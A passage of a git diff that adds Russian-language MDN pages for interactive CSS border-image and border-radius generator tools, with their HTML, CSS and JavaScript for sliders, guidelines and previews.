+			imgState = 'border1';
+			loadRemoteImage('https://mdn.mozillademos.org/files/6007/border-image-1.png');
+			toggleGallery();
+		};
+
+		return {
+			init: init,
+			getScale : getScale,
+			loadRemoteImage: loadRemoteImage
+		};
+
+	})();
+
+	var GuideLine = function GuideLine(node) {
+		var topic = node.getAttribute('data-topic');
+		var axis = node.getAttribute('data-axis');
+
+		this.node = node;
+		this.topic = topic;
+		this.axis = axis;
+		this.info = topic.split('-')[1];
+
+		this.position = 0;
+		this.value = 0;
+		this.unit = 0;
+		this.max = 0;
+		this.pos = positions.indexOf(this.info);
+
+		guidelines[topic] = this;
+
+		var relative_container = document.createElement('div');
+		var tooltip = document.createElement('div');
+		var tooltip2 = document.createElement('div');
+
+		tooltip.className = 'tooltip';
+		tooltip.setAttribute('data-info', this.info);
+
+		tooltip2.className = 'tooltip2';
+		tooltip2.textContent = this.info;
+		tooltip2.setAttribute('data-info', this.info);
+
+		this.tooltip = tooltip;
+
+		relative_container.appendChild(tooltip);
+		relative_container.appendChild(tooltip2);
+		node.appendChild(relative_container);
+
+		var startX = 0;
+		var startY = 0;
+		var start = 0;
+
+		var startDrag = function startDrag(e) {
+			startX = e.clientX;
+			startY = e.clientY;
+			start = guidelines[topic].position;
+			document.body.setAttribute('data-move', axis);
+			relative_container.setAttribute('data-active', '');
+			node.setAttribute('data-active', '');
+
+			document.addEventListener('mousemove', updateGuideline);
+			document.addEventListener('mouseup', endDrag);
+		};
+
+		var endDrag = function endDrag() {
+			document.body.removeAttribute('data-move');
+			relative_container.removeAttribute('data-active');
+			node.removeAttribute('data-active');
+
+			document.removeEventListener('mousemove', updateGuideline);
+		};
+
+		var updateGuideline = function updateGuideline(e) {
+			var value;
+			if (topic === 'slice-top')
+				value = e.clientY - startY + start;
+
+			if (topic === 'slice-right')
+				value = startX - e.clientX + start;
+
+			if (topic === 'slice-bottom')
+				value = startY - e.clientY + start;
+
+			if (topic === 'slice-left')
+				value = e.clientX - startX + start;
+
+			if (this.unit === 0)
+				InputSliderManager.setValue(topic, value * 1 / ImageControl.getScale() | 0);
+			else {
+				InputSliderManager.setValue(topic, (value * 100 / (this.max * ImageControl.getScale())) | 0);
+			}
+
+		}.bind(this);
+
+		node.addEventListener("mousedown", startDrag);
+
+		InputSliderManager.subscribe(topic, this.setPosition.bind(this));
+		InputSliderManager.setValue(topic, this.position);
+	};
+
+
+	GuideLine.prototype.updateGuidelinePos = function updateGuidelinePos() {
+		if (this.unit === 0)
+			this.position = this.value * ImageControl.getScale() | 0;
+		else
+			this.position = this.value * this.max * ImageControl.getScale() / 100 | 0;
+
+		this.node.style[this.info] = this.position + 'px';
+	};
+
+	GuideLine.prototype.setPosition = function setPosition(value) {
+		this.value = value;
+		this.tooltip.textContent = value;
+		this.updateGuidelinePos();
+		Tool.setBorderSlice(this.pos, value);
+	};
+
+	GuideLine.prototype.setMax = function setMax(max) {
+		this.max = max;
+		this.updateLimit();
+	};
+
+	GuideLine.prototype.updateLimit = function updateLimit() {
+		if (this.unit === 1)
+			InputSliderManager.setMax(this.topic, 100);
+		else
+			InputSliderManager.setMax(this.topic, this.max);
+	};
+
+	GuideLine.prototype.setUnit = function setUnit(type) {
+		if (type === '%')	this.unit = 1;
+		if (type === '')	this.unit = 0;
+		this.updateLimit();
+	};
+
+	/*
+	 * Unit panel
+	 */
+	var UnitPanel = (function UnitPanel () {
+
+		var panel;
+		var title;
+		var precision;
+		var step;
+		var unit_topic = null; // settings are made for this topic
+		var step_option = [1, 0.1, 0.01];
+
+		var updatePrecision = function updatePrecision(value) {
+			InputSliderManager.setPrecision('unit-step', value);
+			InputSliderManager.setStep('unit-step', step_option[value]);
+			InputSliderManager.setMin('unit-step', step_option[value]);
+
+			if (unit_topic)
+				InputSliderManager.setPrecision(unit_topic, value);
+		};
+
+		var updateUnitSettings = function updateUnitSettings(value) {
+			if (unit_topic)
+				InputSliderManager.setStep(unit_topic, value);
+		};
+
+		var show = function show(e) {
+			var topic = e.target.getAttribute('data-topic');
+			var precision = InputSliderManager.getPrecision(topic);
+			var step = InputSliderManager.getStep(topic);
+
+			unit_topic = topic;
+			title.textContent = topic;
+
+			panel.setAttribute('data-active', 'true');
+			panel.style.top = e.target.offsetTop - 40 + 'px';
+			panel.style.left = e.target.offsetLeft + 30 + 'px';
+
+			InputSliderManager.setValue('unit-precision', precision);
+			InputSliderManager.setValue('unit-step', step);
+		};
+
+		var init = function init() {
+			panel = document.createElement('div');
+			title = document.createElement('div');
+			var close = document.createElement('div');
+
+			step = InputSliderManager.createSlider('unit-step', 'step');
+			precision = InputSliderManager.createSlider('unit-precision', 'precision');
+
+			InputSliderManager.setStep('unit-precision', 1);
+			InputSliderManager.setMax('unit-precision', 2);
+			InputSliderManager.setValue('unit-precision', 2);
+			InputSliderManager.setSensivity('unit-precision', 20);
+
+			InputSliderManager.setValue('unit-step', 1);
+			InputSliderManager.setStep('unit-step', 0.01);
+			InputSliderManager.setPrecision('unit-step', 2);
+
+			InputSliderManager.subscribe('unit-precision', updatePrecision);
+			InputSliderManager.subscribe('unit-step', updateUnitSettings);
+
+			close.addEventListener('click', function () {
+				panel.setAttribute('data-active', 'false');
+			});
+
+			title.textContent = 'Properties';
+			title.className = 'title';
+			close.className = 'close';
+			panel.id = 'unit-settings';
+			panel.setAttribute('data-active', 'false');
+			panel.appendChild(title);
+			panel.appendChild(precision);
+			panel.appendChild(step);
+			panel.appendChild(close);
+			document.body.appendChild(panel);
+		};
+
+		return {
+			init : init,
+			show : show
+		};
+
+	})();
+
+	/**
+	 * Tool Manager
+	 */
+	var Tool = (function Tool() {
+		var preview_area;
+		var dropdown_unit_options = [
+			{ '' : '--', '%' : '%'},
+			{ 'px' : 'px', '%' : '%', 'em' : 'em'},
+			{ 'px' : 'px', 'em' : 'em'},
+		];
+
+		var border_slice = [];
+		var border_width = [];
+		var border_outset = [];
+
+		var border_slice_values = [];
+		var border_width_values = [];
+		var border_outset_values = [];
+
+		var border_slice_units = ['', '', '', ''];
+		var border_width_units = ['px', 'px', 'px', 'px'];
+		var border_outset_units = ['px', 'px', 'px', 'px'];
+
+		var border_fill = false;
+		var border_repeat = ['round', 'round'];
+		var CSS_code = {
+			'source' : null,
+			'slice' : null,
+			'width' : null,
+			'outset' : null,
+			'repeat' : null
+		};
+
+		var setBorderSlice = function setBorderSlice(positionID, value) {
+			border_slice[positionID] = value + border_slice_units[positionID];
+			updateBorderSlice();
+		};
+
+		var updateBorderSlice = function updateBorderSlice() {
+			var value = border_slice.join(' ');
+			if (border_fill === true)
+				value += ' fill';
+
+			preview.style.borderImageSlice = value;
+			setOutputCSS('slice', value);
+		};
+
+		var setBorderFill = function setBorderFill(value) {
+			border_fill = value;
+			var bimgslice = border_slice.join(' ');;
+			if (value === true)
+				bimgslice += ' fill';
+
+			preview.style.borderImageSlice = bimgslice;
+		};
+
+		var updateBorderWidth = function updateBorderWidth() {
+			var value = border_width.join(' ');
+			preview.style.borderImageWidth = value;
+			setOutputCSS('width', value);
+		};
+
+		var updateBorderOutset = function updateBorderOutset() {
+			var value = border_outset.join(' ');
+			preview.style.borderImageOutset = border_outset.join(' ');
+			setOutputCSS('outset', value);
+		};
+
+		var setBorderRepeat = function setBorderRepeat(obj) {
+			border_repeat[obj.value] = obj.name;
+			var value = border_repeat.join(' ');
+			preview.style.borderImageRepeat = value;
+			setOutputCSS('repeat', value);
+		};
+
+		var setOutputCSS = function setOutputCSS(topic, value) {
+			CSS_code[topic].textContent = value + ';';
+		};
+
+		var setPreviewFontSize = function setPreviewFontSize(value) {
+			preview.style.fontSize = value + 'px';
+		};
+
+		var setPreviewWidth = function setPreviewWidth(value) {
+			preview.style.width = value + 'px';
+		};
+
+		var setPreviewHeight = function setPreviewHeight(value) {
+			preview.style.height = value + 'px';
+		};
+
+		var setPreviewAreaHeight = function setPreviewAreaHeight(value) {
+			preview_area.style.height = value + 'px';
+		};
+
+		var updateDragOption = function updateDragOption(value) {
+			if (value === true)
+				subject.setAttribute('data-draggable', 'true');
+			else
+				subject.removeAttribute('data-draggable');
+		};
+
+		var createProperty = function createProperty(topic, labelID, optionsID) {
+
+			var slider = InputSliderManager.createSlider(topic, positions[labelID]);
+			var dropdown = DropDownManager.createDropDown(topic, dropdown_unit_options[optionsID]);
+
+			InputSliderManager.setSensivity(topic, 3);
+			InputSliderManager.setPrecision(topic, 1);
+
+			var property = document.createElement('div');
+			var config = document.createElement('div');
+
+			property.className = 'property';
+			config.className = 'config';
+			config.setAttribute('data-topic', topic);
+			config.addEventListener('click', UnitPanel.show);
+
+			property.appendChild(slider);
+			property.appendChild(dropdown);
+			property.appendChild(config);
+
+			return property;
+		};
+
+		var initBorderSliceControls = function initBorderSliceControls() {
+			var container = getElemById('border-slice-control');
+
+			var listenForChanges = function listenForChanges(topic, id) {
+				InputSliderManager.subscribe(topic, function(value) {
+					border_slice_values[id] = value;
+					border_slice[id] = value + border_slice_units[id];
+					updateBorderSlice();
+				});
+
+				DropDownManager.subscribe(topic, function(obj) {
+					guidelines[topic].setUnit(obj.value);
+					border_slice_units[id] = obj.value;
+					border_slice[id] = border_slice_values[id] + obj.value;
+					updateBorderSlice();
+				});
+			};
+
+			for (var i = 0; i &lt; positions.length; i++) {
+				var topic = 'slice-' + positions[i];
+				var property = createProperty(topic, i, 0);
+				listenForChanges(topic, i);
+
+				container.appendChild(property);
+			}
+
+			container.appendChild(container.children[1]);
+
+		};
+
+		var initBorderWidthControls = function initBorderWidthControls() {
+			var container = getElemById('border-width-control');
+
+			var listenForChanges = function listenForChanges(topic, id) {
+				InputSliderManager.subscribe(topic, function(value) {
+					border_width_values[id] = value;
+					border_width[id] = value + border_width_units[id];
+					updateBorderWidth();
+				});
+
+				DropDownManager.subscribe(topic, function(obj) {
+					if (obj.value === '%')
+						InputSliderManager.setMax(topic, 100);
+					else
+						InputSliderManager.setMax(topic, 1000);
+
+					border_width_units[id] = obj.value;
+					border_width[id] = border_width_values[id] + obj.value;
+					updateBorderWidth();
+				});
+			};
+
+			for (var i = 0; i &lt; positions.length; i++) {
+				var topic = 'width-' + positions[i];
+				var property = createProperty(topic, i, 1);
+				InputSliderManager.setMax(topic, 1000);
+				listenForChanges(topic, i);
+
+				container.appendChild(property);
+			}
+		};
+
+		var initBorderOutsetControls = function initBorderOutsetControls() {
+
+			var container = getElemById('border-outset-control');
+
+			var listenForChanges = function listenForChanges(topic, id) {
+				InputSliderManager.subscribe(topic, function(value) {
+					border_outset_values[id] = value;
+					border_outset[id] = value + border_outset_units[id];
+					updateBorderOutset();
+				});
+
+				DropDownManager.subscribe(topic, function(obj) {
+					border_outset_units[id] = obj.value;
+					border_outset[id] = border_outset_values[id] + obj.value;
+					updateBorderOutset();
+				});
+			};
+
+			for (var i = 0; i &lt; positions.length; i++) {
+				var topic = 'outset-' + positions[i];
+				var property = createProperty(topic, i, 2);
+				InputSliderManager.setMax(topic, 1000);
+				listenForChanges(topic, i);
+
+				container.appendChild(property);
+			}
+		};
+
+		var init = function init() {
+
+			var gallery =
+			subject = getElemById('subject');
+			preview = getElemById("preview");
+			preview_area = getElemById("preview_section");
+
+
+			CSS_code['source'] = getElemById("out-border-source");
+			CSS_code['slice'] = getElemById("out-border-slice");
+			CSS_code['width'] = getElemById("out-border-width");
+			CSS_code['outset'] = getElemById("out-border-outset");
+			CSS_code['repeat'] = getElemById("out-border-repeat");
+
+			initBorderSliceControls();
+			initBorderWidthControls();
+			initBorderOutsetControls();
+
+			var elem = document.querySelectorAll('.guideline');
+			var size = elem.length;
+			for (var i = 0; i &lt; size; i++)
+				new GuideLine(elem[i]);
+
+			PreviewControl.init();
+
+			ButtonManager.subscribe('slice-fill',setBorderFill);
+			ButtonManager.subscribe('drag-subject', updateDragOption);
+			ButtonManager.setValue('drag-subject', false);
+
+			DropDownManager.subscribe('image-repeat-X', setBorderRepeat);
+			DropDownManager.subscribe('image-repeat-Y', setBorderRepeat);
+
+			InputSliderManager.subscribe('preview-area-height', setPreviewAreaHeight);
+			InputSliderManager.subscribe('preview-width', setPreviewWidth);
+			InputSliderManager.subscribe('preview-height', setPreviewHeight);
+			InputSliderManager.subscribe('font-size', setPreviewFontSize);
+			InputSliderManager.setValue('preview-width', 300);
+			InputSliderManager.setValue('preview-height', 200);
+		};
+
+		return {
+			init: init,
+			setOutputCSS: setOutputCSS,
+			setBorderSlice: setBorderSlice
+		};
+
+	})();
+
+	/**
+	 * Init Tool
+	 */
+	var init = function init() {
+		InputSliderManager.init();
+		DropDownManager.init();
+		ButtonManager.init();
+		UnitPanel.init();
+		Tool.init();
+		ImageControl.init();
+	};
+
+	return {
+		init : init
+	};
+
+})();
+
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Border_Image_Generator', '100%', '1270px') }}</p>
+
+<p> </p>
diff --git a/files/ru/web/css/css_background_and_borders/border-radius_генератор/index.html b/files/ru/web/css/css_background_and_borders/border-radius_генератор/index.html
new file mode 100644
index 0000000000..71f94831f0
--- /dev/null
+++ b/files/ru/web/css/css_background_and_borders/border-radius_генератор/index.html
@@ -0,0 +1,1599 @@
+---
+title: Border-radius генератор
+slug: Web/CSS/CSS_Background_and_Borders/Border-radius_генератор
+translation_of: Web/CSS/CSS_Background_and_Borders/Border-radius_generator
+---
+<p>С помощью этого инструмента вы можете создать CSS3 {{cssxref("border-radius")}} эффекты.</p>
+
+<div style="display: none;">
+<h2 id="border-radius-generator" name="border-radius-generator">border-radius</h2>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html">&lt;div id="container"&gt;
+    &lt;div class="group section"&gt;
+        &lt;div id="preview" class="col span_12"&gt;
+            &lt;div id="subject"&gt;
+                &lt;div id="top-left" class="radius-container"
+                    data-X="left" data-Y="top"&gt;
+                &lt;/div&gt;
+                &lt;div id="top-right" class="radius-container"
+                    data-X="right" data-Y="top"&gt;
+                &lt;/div&gt;
+                &lt;div id="bottom-right" class="radius-container"
+                    data-X="right" data-Y="bottom"&gt;
+                &lt;/div&gt;
+                &lt;div id="bottom-left" class="radius-container"
+                    data-X="left" data-Y="bottom"&gt;
+                &lt;/div&gt;
+
+                &lt;div id="radius-ui-sliders"&gt;
+                    &lt;div id="tlr" class="ui-input-slider" data-topic="top-left"
+                         data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="tlw" class="ui-input-slider" data-topic="top-left-w"
+                         data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="tlh" class="ui-input-slider" data-topic="top-left-h"
+                        data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="trr" class="ui-input-slider" data-topic="top-right"
+                         data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="trw" class="ui-input-slider" data-topic="top-right-w"
+                         data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="trh" class="ui-input-slider" data-topic="top-right-h"
+                        data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="brr" class="ui-input-slider" data-topic="bottom-right"
+                         data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="brw" class="ui-input-slider" data-topic="bottom-right-w"
+                         data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="brh" class="ui-input-slider" data-topic="bottom-right-h"
+                        data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="blr" class="ui-input-slider" data-topic="bottom-left"
+                         data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="blw" class="ui-input-slider" data-topic="bottom-left-w"
+                         data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="blh" class="ui-input-slider" data-topic="bottom-left-h"
+                        data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+                &lt;/div&gt;
+            &lt;/div&gt;
+        &lt;/div&gt;
+    &lt;/div&gt;
+    &lt;div id="controls" class="group section"&gt;
+
+        &lt;div class="group section"&gt;
+            &lt;div id="dimensions"&gt;
+                &lt;div class="ui-input-slider" data-topic="width" data-info="width"
+                     data-unit=" px" data-min="150" data-max="700" data-sensivity="1"&gt;&lt;/div&gt;
+
+                &lt;div class="ui-input-slider" data-topic="height" data-info="height"
+                    data-unit=" px" data-min="75" data-max="350" data-sensivity="1"&gt;&lt;/div&gt;
+            &lt;/div&gt;
+
+            &lt;div id="output"&gt;&lt;/div&gt;
+        &lt;/div&gt;
+
+        &lt;div class="group section"&gt;
+            &lt;div id="radius-lock"&gt;
+                &lt;div class="info"&gt; rounded corner &lt;/div&gt;
+                &lt;div class="ui-checkbox" data-topic='top-left'&gt;&lt;/div&gt;
+                &lt;div class="ui-checkbox" data-topic='top-right'&gt;&lt;/div&gt;
+                &lt;div class="ui-checkbox" data-topic='bottom-right'&gt;&lt;/div&gt;
+                &lt;div class="ui-checkbox" data-topic='bottom-left'&gt;&lt;/div&gt;
+            &lt;/div&gt;
+
+            &lt;div id="unit-selection"&gt;
+                &lt;div class="info"&gt; select border units &lt;/div&gt;
+            &lt;/div&gt;
+        &lt;/div&gt;
+
+    &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS_Content">CSS Content</h3>
+
+<pre class="brush: css">/*  GRID OF TEN
+ * ========================================================================== */
+
+.span_12 {
+	width: 100%;
+}
+
+.span_11 {
+	width: 91.46%;
+}
+
+.span_10 {
+	width: 83%;
+}
+
+.span_9 {
+	width: 74.54%;
+}
+
+.span_8 {
+	width: 66.08%;
+}
+
+.span_7 {
+	width: 57.62%;
+}
+
+.span_6 {
+	width: 49.16%;
+}
+
+.span_5 {
+	width: 40.7%;
+}
+
+.span_4 {
+	width: 32.24%;
+}
+
+.span_3 {
+	width: 23.78%;
+}
+
+.span_2 {
+	width: 15.32%;
+}
+
+.span_1 {
+	width: 6.86%;
+}
+
+
+
+
+/*  SECTIONS
+ * ========================================================================== */
+
+.section {
+	clear: both;
+	padding: 0px;
+	margin: 0px;
+}
+
+/*  GROUPING
+ * ========================================================================== */
+
+
+.group:before, .group:after {
+    content: "";
+    display: table;
+}
+
+.group:after {
+    clear:both;
+}
+
+.group {
+    zoom: 1; /* For IE 6/7 (trigger hasLayout) */
+}
+
+/*  GRID COLUMN SETUP
+ * ========================================================================== */
+
+.col {
+	display: block;
+	float:left;
+	margin: 1% 0 1% 1.6%;
+}
+
+.col:first-child {
+	margin-left: 0;
+} /* all browsers except IE6 and lower */
+
+
+/*
+ * UI Component
+ */
+
+.ui-input-slider-container {
+	height: 20px;
+	margin: 10px 0;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	-moz-user-select: none;
+	user-select: none;
+}
+
+.ui-input-slider-container * {
+	float: left;
+	height: 100%;
+	line-height: 100%;
+}
+
+/* Input Slider */
+
+.ui-input-slider &gt; input {
+	margin: 0;
+	padding: 0;
+	width: 50px;
+	text-align: center;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.ui-input-slider-info {
+	width: 90px;
+	padding: 0px 10px 0px 0px;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-left, .ui-input-slider-right {
+	width: 16px;
+	cursor: pointer;
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat;
+}
+
+.ui-input-slider-right {
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat;
+}
+
+.ui-input-slider-name {
+	width: 90px;
+	padding: 0 10px 0 0;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-btn-set {
+	width: 25px;
+	background-color: #2C9FC9;
+	border-radius: 5px;
+	color: #FFF;
+	font-weight: bold;
+	line-height: 14px;
+	text-align: center;
+}
+
+.ui-input-slider-btn-set:hover {
+	background-color: #379B4A;
+	cursor: pointer;
+}
+
+/*
+ * UI Component
+ */
+
+/* Checkbox */
+
+.ui-checkbox {
+	text-align: center;
+	font-size: 16px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	line-height: 1.5em;
+	color: #FFF;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.ui-checkbox &gt; input {
+ 	display: none;
+}
+
+.ui-checkbox &gt; label {
+	font-size: 12px;
+	padding: 0.333em 1.666em 0.5em;
+	height: 1em;
+	line-height: 1em;
+
+	background-color: #888;
+	background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+
+	color: #FFF;
+	border-radius: 3px;
+	font-weight: bold;
+	float: left;
+}
+
+.ui-checkbox .text {
+	padding-left: 34px;
+	background-position: center left 10px;
+}
+
+.ui-checkbox .left {
+	padding-right: 34px;
+	padding-left: 1.666em;
+	background-position: center right 10px;
+}
+
+.ui-checkbox &gt; label:hover {
+	cursor: pointer;
+}
+
+.ui-checkbox &gt; input:checked + label {
+	background-image: url("https://mdn.mozillademos.org/files/5681/checked.png");
+	background-color: #379B4A;
+}
+
+body {
+	max-width: 1000px;
+	margin: 0 auto;
+
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+#container {
+	width: 100%;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+/******************************************************************************/
+/******************************************************************************/
+/*
+ * Preview Area
+ */
+
+#preview {
+	height: 500px;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+	text-align: center;
+	overflow: hidden;
+	position: relative;
+}
+
+#preview .content {
+	width: 100%;
+	height: 100%;
+	display: block;
+}
+
+#preview input {
+	color: #333;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+}
+
+#subject {
+	width: 400px;
+	height: 150px;
+	margin: 0 auto;
+	border: 3px solid #C60;
+	background: #FFF;
+	position: relative;
+}
+
+.radius {
+	width: 50%;
+	height: 50%;
+	border: 1px solid #CCC;
+	display: none;
+	position: absolute;
+	z-index: 1;
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.handle {
+	width: 16px;
+	height: 16px;
+	position: absolute;
+	z-index: 2;
+}
+
+.handle-top-left {
+	top: -12px;
+	left: -12px;
+	cursor: se-resize;
+	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") top left no-repeat;
+}
+
+.handle-top-right {
+	top: -12px;
+	right: -12px;
+	cursor: sw-resize;
+	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") top right no-repeat;
+}
+
+.handle-bottom-right {
+	bottom: -12px;
+	right: -12px;
+	cursor: nw-resize;
+	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") bottom right no-repeat;
+}
+
+.handle-bottom-left {
+	bottom: -12px;
+	left: -12px;
+	cursor: ne-resize;
+	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") bottom left no-repeat;
+}
+
+
+.radius-container {
+	position: absolute;
+	display : block;
+	z-index: 1;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+
+/* TOP LEFT */
+#top-left {
+	top: 0;
+	left: 0;
+}
+
+#top-left .radius {
+	border-top-left-radius: 100%;
+	top: 0;
+	left: 0;
+}
+
+/* TOP RIGHT */
+#top-right {
+	top: 0;
+	right: 0;
+}
+
+#top-right .radius {
+	border-top-right-radius: 100%;
+	top: 0;
+	right: 0;
+}
+
+/* BOTTOM RIGHT */
+#bottom-right {
+	bottom: 0;
+	right: 0;
+}
+
+#bottom-right .radius {
+	border-bottom-right-radius: 100%;
+	bottom: 0;
+	right: 0;
+}
+
+/* BOTTOM lEFT */
+#bottom-left {
+	bottom: 0;
+	left: 0;
+}
+
+#bottom-left .radius {
+	border-bottom-left-radius: 100%;
+	bottom: 0;
+}
+
+/* INPUT SLIDERS */
+
+#preview .ui-input-slider {
+	margin: 10px;
+	position: absolute;
+	z-index: 10;
+}
+
+#radius-ui-sliders {
+	width: 100%;
+	height: 100%;
+	min-height: 75px;
+	min-width: 150px;
+	padding: 20px 50px;
+	top: -20px;
+	left: -50px;
+	position: relative;
+}
+
+#tlr {
+	top: -30px;
+	left: -50px;
+	display: none;
+}
+
+#tlw {
+	top: -30px;
+	left: 30px;
+}
+
+#tlh {
+	top: 20px;
+	left: -50px;
+}
+
+#trr {
+	top: -30px;
+	right: -50px;
+	display: none;
+}
+
+#trw {
+	top: -30px;
+	right: 30px;
+}
+
+#trh {
+	top: 20px;
+	right: -50px;
+}
+
+#brr {
+	bottom: -30px;
+	right: -50px;
+	display: none;
+}
+
+#brw {
+	bottom: -30px;
+	right: 30px;
+}
+
+#brh {
+	bottom: 20px;
+	right: -50px;
+}
+
+#blr {
+	bottom: -30px;
+	left: -50px;
+	display: none;
+}
+
+#blw {
+	bottom: -30px;
+	left: 30px;
+}
+
+#blh {
+	bottom: 20px;
+	left: -50px;
+}
+
+#preview .ui-input-slider-left, #preview .ui-input-slider-right {
+	visibility: hidden;
+}
+
+#preview .ui-input-slider-container:hover .ui-input-slider-left {
+	visibility: visible;
+}
+
+#preview .ui-input-slider-container:hover .ui-input-slider-right {
+	visibility: visible;
+}
+
+/*
+ *
+ */
+
+#unit-selection {
+	width: 200px;
+	height: 75px;
+	margin: 30px 30px 0 0;
+	padding: 30px;
+	border: 3px solid #555;
+	border-radius: 10px;
+	position: relative;
+	float: right;
+}
+
+#unit-selection .info {
+	height: 20%;
+	width: 100%;
+	line-height: 20%;
+	font-size: 20px;
+	text-align: center;
+	position: relative;
+	top: 40%;
+}
+
+#unit-selection .dropdown {
+	width: 50px;
+	height: 20px;
+	margin: 10px;
+	padding: 0;
+	border-radius: 3px;
+	position: absolute;
+	overflow: hidden;
+}
+
+#unit-selection select {
+	width: 50px;
+	height: 20px;
+	marign: 0;
+	padding: 0 0 0 10px;
+	background: #555;
+	border: 1px solid #555;
+	border: none;
+	color: #FFF;
+	float: left;
+}
+
+#unit-selection select option {
+	background: #FFF;
+	color: #333;
+}
+
+#unit-selection select:hover {
+	cursor: pointer;
+}
+
+#unit-selection .dropdown:before {
+	content: "";
+	width: 18px;
+	height: 20px;
+	display: block;
+	background-color: #555;
+	background-image: url("https://mdn.mozillademos.org/files/5675/dropdown.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+	top: 0px;
+	right: 0px;
+	position: absolute;
+	z-index: 1;
+	pointer-events: none;
+}
+
+#unit-selection .unit-top-left {
+	top: 0;
+	left: 0;
+	display: none;
+}
+
+#unit-selection .unit-top-left-w {
+	top: -22px;
+	left: 30px;
+}
+
+#unit-selection .unit-top-left-h {
+	top: 20px;
+	left: -37px;
+}
+
+#unit-selection .unit-top-right {
+	top: 0;
+	right: 0;
+	display: none;
+}
+
+#unit-selection .unit-top-right-w {
+	top: -22px;
+	right: 30px;
+}
+
+#unit-selection .unit-top-right-h {
+	top: 20px;
+	right: -37px;
+}
+
+#unit-selection .unit-bottom-right {
+	bottom: 0;
+	right: 0;
+	display: none;
+}
+
+#unit-selection .unit-bottom-right-w {
+	bottom: -22px;
+	right: 30px;
+}
+
+#unit-selection .unit-bottom-right-h {
+	bottom: 20px;
+	right: -37px;
+}
+
+#unit-selection .unit-bottom-left {
+	bottom: 0;
+	left: 0;
+	display: none;
+}
+
+#unit-selection .unit-bottom-left-w {
+	bottom: -22px;
+	left: 30px;
+}
+
+#unit-selection .unit-bottom-left-h {
+	bottom: 20px;
+	left: -37px;
+}
+
+/******************************************************************************/
+/******************************************************************************/
+
+
+#radius-lock {
+	width: 200px;
+	height: 75px;
+	margin: 30px 0 0 30px;
+	padding: 30px;
+	border: 3px solid #555;
+	border-radius: 10px;
+	position: relative;
+	float: left;
+}
+
+#radius-lock .ui-checkbox {
+	color: #FFF;
+	position: absolute;
+}
+
+#radius-lock .ui-checkbox &gt; label {
+	height: 20px;
+	width: 34px;
+	padding: 0;
+}
+
+#radius-lock .info {
+	height: 20%;
+	width: 100%;
+	line-height: 20%;
+	font-size: 20px;
+	text-align: center;
+	position: relative;
+	top: 40%;
+}
+
+#radius-lock [data-topic="top-left"] {
+	top: 10px;
+	left: 10px;
+}
+
+#radius-lock [data-topic="top-right"] {
+	top: 10px;
+	right: 10px;
+}
+
+#radius-lock [data-topic="bottom-right"] {
+	bottom: 10px;
+	right: 10px;
+}
+
+#radius-lock [data-topic="bottom-left"] {
+	bottom: 10px;
+	left: 10px;
+}
+
+/**
+ * Controls
+ */
+
+#dimensions {
+	width: 200px;
+	color: #444;
+	float:left;
+}
+
+#dimensions input {
+	background: #555;
+	color: #FFF;
+	border: none;
+	border-radius: 3px;
+}
+
+#output {
+	width: 500px;
+	padding: 10px 0;
+	margin: 10px 0;
+	color: #555;
+	text-align: center;
+	border: 1px dashed #999;
+	border-radius: 3px;
+	-moz-user-select: text;
+	-webkit-user-select: text;
+	-ms-user-select: text;
+	user-select: text;
+
+	float: right;
+}
+
+
+</pre>
+
+<h3 id="JavaScript_Content">JavaScript Content</h3>
+
+<pre class="brush: js"><code class="language-js">'use strict';
+
+
+/**
+ * UI-InputSliderManager
+ */
+
+var InputSliderManager = (function InputSliderManager() {
+
+	var subscribers = {};
+	var sliders = [];
+
+	var InputComponent = function InputComponent(obj) {
+		var input = document.createElement('input');
+		input.setAttribute('type', 'text');
+
+		input.addEventListener('click', function(e) {
+			this.select();
+		});
+
+		input.addEventListener('change', function(e) {
+			var value = parseInt(e.target.value);
+
